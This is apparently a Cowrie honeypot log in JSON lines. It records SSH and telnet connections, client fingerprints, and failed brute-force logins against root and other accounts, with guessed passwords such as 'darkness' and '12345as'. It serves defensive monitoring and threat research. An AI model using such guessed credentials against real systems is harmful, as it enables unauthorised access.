{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:05.777294Z","src_ip":"103.149.28.157","session":"36f423918557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:06.042238Z","src_ip":"103.149.28.157","session":"36f423918557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"darkness","message":"login attempt [root/darkness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:11.106671Z","src_ip":"103.149.28.157","session":"36f423918557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":42318,"dst_ip":"159.203.135.109","dst_port":22,"session":"10380fe169d5","protocol":"ssh","message":"New connection: 47.237.167.49:42318 (159.203.135.109:22) [session: 10380fe169d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:12.076376Z"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:12.370270Z","src_ip":"103.149.28.157","session":"36f423918557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39824,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b64f83b25a0","protocol":"telnet","message":"New connection: 152.42.224.71:39824 (10.17.0.5:23) [session: 4b64f83b25a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:14.865915Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39826,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddb5ebc62518","protocol":"telnet","message":"New connection: 152.42.224.71:39826 (10.17.0.5:23) [session: ddb5ebc62518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:15.510739Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"16bb66d9fe1e","protocol":"telnet","message":"New connection: 152.42.224.71:47514 (10.17.0.5:23) [session: 16bb66d9fe1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:15.957320Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47518,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6d5983cb46","protocol":"telnet","message":"New connection: 152.42.224.71:47518 (10.17.0.5:23) [session: 2d6d5983cb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:18.499038Z"}
{"eventid":"cowrie.session.closed","duration":108.33424997329712,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:19.246760Z","src_ip":"152.42.224.71","session":"faf740c4948a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":49022,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a0f030e203","protocol":"ssh","message":"New connection: 43.128.86.117:49022 (159.203.135.109:22) [session: f6a0f030e203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:19.784465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:19.792036Z","src_ip":"43.128.86.117","session":"f6a0f030e203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:20.030216Z","src_ip":"43.128.86.117","session":"f6a0f030e203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tommy","password":"tommy","message":"login attempt [tommy/tommy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:21.013719Z","src_ip":"43.128.86.117","session":"f6a0f030e203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020341873169,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:21.753014Z","src_ip":"152.42.224.71","session":"16d0361dfc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":45032,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37001a935eb","protocol":"ssh","message":"New connection: 89.108.118.91:45032 (159.203.135.109:22) [session: a37001a935eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:22.052910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:22.057416Z","src_ip":"89.108.118.91","session":"a37001a935eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:22.195483Z","src_ip":"89.108.118.91","session":"a37001a935eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:22.254463Z","src_ip":"43.128.86.117","session":"f6a0f030e203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345as","message":"login attempt [root/12345as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:22.607687Z","src_ip":"89.108.118.91","session":"a37001a935eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":49658,"dst_ip":"10.17.0.5","dst_port":22,"session":"69bacc75670b","protocol":"ssh","message":"New connection: 194.120.230.72:49658 (10.17.0.5:22) [session: 69bacc75670b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.235164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.265882Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.352700Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.750690Z","src_ip":"89.108.118.91","session":"a37001a935eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:10:b6:ef:74:e8:45:ab:27:a4:62:ec:0f:7a:7d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrC5kY20cf9hFe9Bw5stpLKfe2KAsM302C+L119QircBB2DJEb9n71mCkRT6nnPPhYPnqPacmRLt0cb1l+h/WpzYU13Pjx1Sfq5gStBqjjyUFLwZO79XmxK3koGqV2o+akDTpu0Jgrpmvvj7ycwbW7LJi/uyyHV+lXZnXMp2c7e69+YwEePBpwdJZk54V843h+KC3d7c7LgCDAa6DC0/4pVxf0BBNORbAFfyStd5X/ZEsCKRS0fdAi4b5mU1ALWypTLE2/VfmXZGAQ+dpEGxJ8yuli8eeuKcCaW+HdQSp3vhk20UOrcfQPV4SFkT4y9FRtDHyJipjZ8Adz3K7Tobhl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:10:b6:ef:74:e8:45:ab:27:a4:62:ec:0f:7a:7d:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.771563Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:10:b6:ef:74:e8:45:ab:27:a4:62:ec:0f:7a:7d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrC5kY20cf9hFe9Bw5stpLKfe2KAsM302C+L119QircBB2DJEb9n71mCkRT6nnPPhYPnqPacmRLt0cb1l+h/WpzYU13Pjx1Sfq5gStBqjjyUFLwZO79XmxK3koGqV2o+akDTpu0Jgrpmvvj7ycwbW7LJi/uyyHV+lXZnXMp2c7e69+YwEePBpwdJZk54V843h+KC3d7c7LgCDAa6DC0/4pVxf0BBNORbAFfyStd5X/ZEsCKRS0fdAi4b5mU1ALWypTLE2/VfmXZGAQ+dpEGxJ8yuli8eeuKcCaW+HdQSp3vhk20UOrcfQPV4SFkT4y9FRtDHyJipjZ8Adz3K7Tobhl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.782036Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:07:b8:33:28:a1:76:51:96:73:ae:7d:56:96:b2:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoFNBhsE9XjcB4JZDI4x8IoBSzjN9bsXtxFkrmwirpmwrVNRIas0Sbl5MIUbnI4Ie9zgH1iv7rbeXrfudrD2zh4HRgeYb1xGPQ0CTvZOlRCZ+9873IZEEYLvqo7/W9aVdA1l012nOjfMFgkup0W4SmqdXXLxvQsWZmoLixNINXfpgzE+x9lepxgLR8MWemgIu0yxP/oc26U4zVRr7g6eMDZjuCXH/uNmcOPSN8S5yY5aAuFW3y1CELhwO9ogh7wCglI/haXjNWlZNAlP+YliCihN0f+gMv5z2olj8YZJa9iJ7pvbqrUAJR79NJtCRDiT8pIusAQQeI/fo8/VcLOMcv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:07:b8:33:28:a1:76:51:96:73:ae:7d:56:96:b2:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.871994Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:07:b8:33:28:a1:76:51:96:73:ae:7d:56:96:b2:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoFNBhsE9XjcB4JZDI4x8IoBSzjN9bsXtxFkrmwirpmwrVNRIas0Sbl5MIUbnI4Ie9zgH1iv7rbeXrfudrD2zh4HRgeYb1xGPQ0CTvZOlRCZ+9873IZEEYLvqo7/W9aVdA1l012nOjfMFgkup0W4SmqdXXLxvQsWZmoLixNINXfpgzE+x9lepxgLR8MWemgIu0yxP/oc26U4zVRr7g6eMDZjuCXH/uNmcOPSN8S5yY5aAuFW3y1CELhwO9ogh7wCglI/haXjNWlZNAlP+YliCihN0f+gMv5z2olj8YZJa9iJ7pvbqrUAJR79NJtCRDiT8pIusAQQeI/fo8/VcLOMcv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.886515Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:f1:1c:db:c8:e7:f5:79:12:0a:4a:70:e5:9e:43:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJd5Fa/nGG7OSByrAIlfSgoKutBCtDF3q0jqYiq+wQXTiLzFFfGMSKMKkAWmJp1diHRJKMexqJzY47Nqa57I5AgpZHFHd0SWGkHfL85A1j1tiwt98x5G4nYHqMApO8gy23qJdeI6C8fAecYhWC98FnHJM1d3uBERPAcgRo0Ym8wWG4AJfuiU8BDzYkmddq1VVaoSzcGxUg9AWNrMptrfDV2HXY47ITszon6okcOa7RDlKo9o/aQTg45iAf3eiyZO2Q6Vt5VVqr0d9Qd4B5SM/EWrz4u9k4LSufkxLA7N8xQ4E6qjqb8BbN4BBcHnSCTlgS1CVU0aqnxpcFBno36pbf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:f1:1c:db:c8:e7:f5:79:12:0a:4a:70:e5:9e:43:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.981583Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:f1:1c:db:c8:e7:f5:79:12:0a:4a:70:e5:9e:43:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJd5Fa/nGG7OSByrAIlfSgoKutBCtDF3q0jqYiq+wQXTiLzFFfGMSKMKkAWmJp1diHRJKMexqJzY47Nqa57I5AgpZHFHd0SWGkHfL85A1j1tiwt98x5G4nYHqMApO8gy23qJdeI6C8fAecYhWC98FnHJM1d3uBERPAcgRo0Ym8wWG4AJfuiU8BDzYkmddq1VVaoSzcGxUg9AWNrMptrfDV2HXY47ITszon6okcOa7RDlKo9o/aQTg45iAf3eiyZO2Q6Vt5VVqr0d9Qd4B5SM/EWrz4u9k4LSufkxLA7N8xQ4E6qjqb8BbN4BBcHnSCTlgS1CVU0aqnxpcFBno36pbf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:23.988922Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:e1:a8:c6:99:37:25:0e:f2:a0:7e:07:d2:fa:1e:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVzOAnfj0M+/bFaWXuqmhDFmOehtMnf8NjIfJnD6CBcEE6FlzCx7iex+yMTtHIpEFxU5ufj2Fn8baBH3smdiGp8NVZYYOUt1kxdemxcsDFukKFN8ZLxSrVYQvW1oBfjb+CJX4J6D561SZIQae5z71mXT4If5XGVTSMWPYx1ArtTAj1kNv+xIcRMQkCEMnFcy+NH32ZcdT0b5UUW0AUT5LfdecP37xSvaFjyhcCS611mUYTQFXKM74OHnl020u0KPjRYb6y3dQ90LbN8BfD1AyQdzCHQrXFV/wm94rIdJ4qD/p+oln8hcsIoHPXh7E8HufiZd9HQPkPjx19nRCzvh23","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:e1:a8:c6:99:37:25:0e:f2:a0:7e:07:d2:fa:1e:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:24.076889Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:e1:a8:c6:99:37:25:0e:f2:a0:7e:07:d2:fa:1e:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVzOAnfj0M+/bFaWXuqmhDFmOehtMnf8NjIfJnD6CBcEE6FlzCx7iex+yMTtHIpEFxU5ufj2Fn8baBH3smdiGp8NVZYYOUt1kxdemxcsDFukKFN8ZLxSrVYQvW1oBfjb+CJX4J6D561SZIQae5z71mXT4If5XGVTSMWPYx1ArtTAj1kNv+xIcRMQkCEMnFcy+NH32ZcdT0b5UUW0AUT5LfdecP37xSvaFjyhcCS611mUYTQFXKM74OHnl020u0KPjRYb6y3dQ90LbN8BfD1AyQdzCHQrXFV/wm94rIdJ4qD/p+oln8hcsIoHPXh7E8HufiZd9HQPkPjx19nRCzvh23","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:24.081505Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:3f:d7:e9:39:a3:8d:85:60:18:7f:dc:af:31:52:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpfViG9rS9viA8jxGH76nKjBkDw5oVHHQrkJbIbohFGakUIH5SmgOn9jamSfhzJLrICjKxAsN2NlhJFqItqOOO0yZB2z1qu6F6ucjsNBtP2ADXZKmZqJWDwJzqDi+BC+tW4EiVDcH+PfyBVIt8nGkIp1bcM5wzo9NWQbTZO14Ijk9SFNro4SFgL9PqjoI4BLCv5M6C5MoqJAqFvl68p+ARDwhl6iL6jxJY3tvZ3Fv9jd6wdn6yo9Fr1zViL7IsYzbHS+FwbHPMaw9X2ZSX5urRAlvyWhgBD+3wFiEQagK7nlPDJfM+LfL7VCetz8U0RtdVKYeA8TwKvtw7yUDmb3Or","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:3f:d7:e9:39:a3:8d:85:60:18:7f:dc:af:31:52:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:24.170031Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:3f:d7:e9:39:a3:8d:85:60:18:7f:dc:af:31:52:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpfViG9rS9viA8jxGH76nKjBkDw5oVHHQrkJbIbohFGakUIH5SmgOn9jamSfhzJLrICjKxAsN2NlhJFqItqOOO0yZB2z1qu6F6ucjsNBtP2ADXZKmZqJWDwJzqDi+BC+tW4EiVDcH+PfyBVIt8nGkIp1bcM5wzo9NWQbTZO14Ijk9SFNro4SFgL9PqjoI4BLCv5M6C5MoqJAqFvl68p+ARDwhl6iL6jxJY3tvZ3Fv9jd6wdn6yo9Fr1zViL7IsYzbHS+FwbHPMaw9X2ZSX5urRAlvyWhgBD+3wFiEQagK7nlPDJfM+LfL7VCetz8U0RtdVKYeA8TwKvtw7yUDmb3Or","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:24.174648Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:24.262848Z","src_ip":"194.120.230.72","session":"69bacc75670b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.491944313049316,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:27.370703Z","src_ip":"152.42.224.71","session":"b63e7dc95993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59656,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99fd5ebcc40","protocol":"ssh","message":"New connection: 87.251.64.176:59656 (10.17.0.5:22) [session: e99fd5ebcc40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:30.565743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:30.570196Z","src_ip":"87.251.64.176","session":"e99fd5ebcc40","protocol":"ssh"}
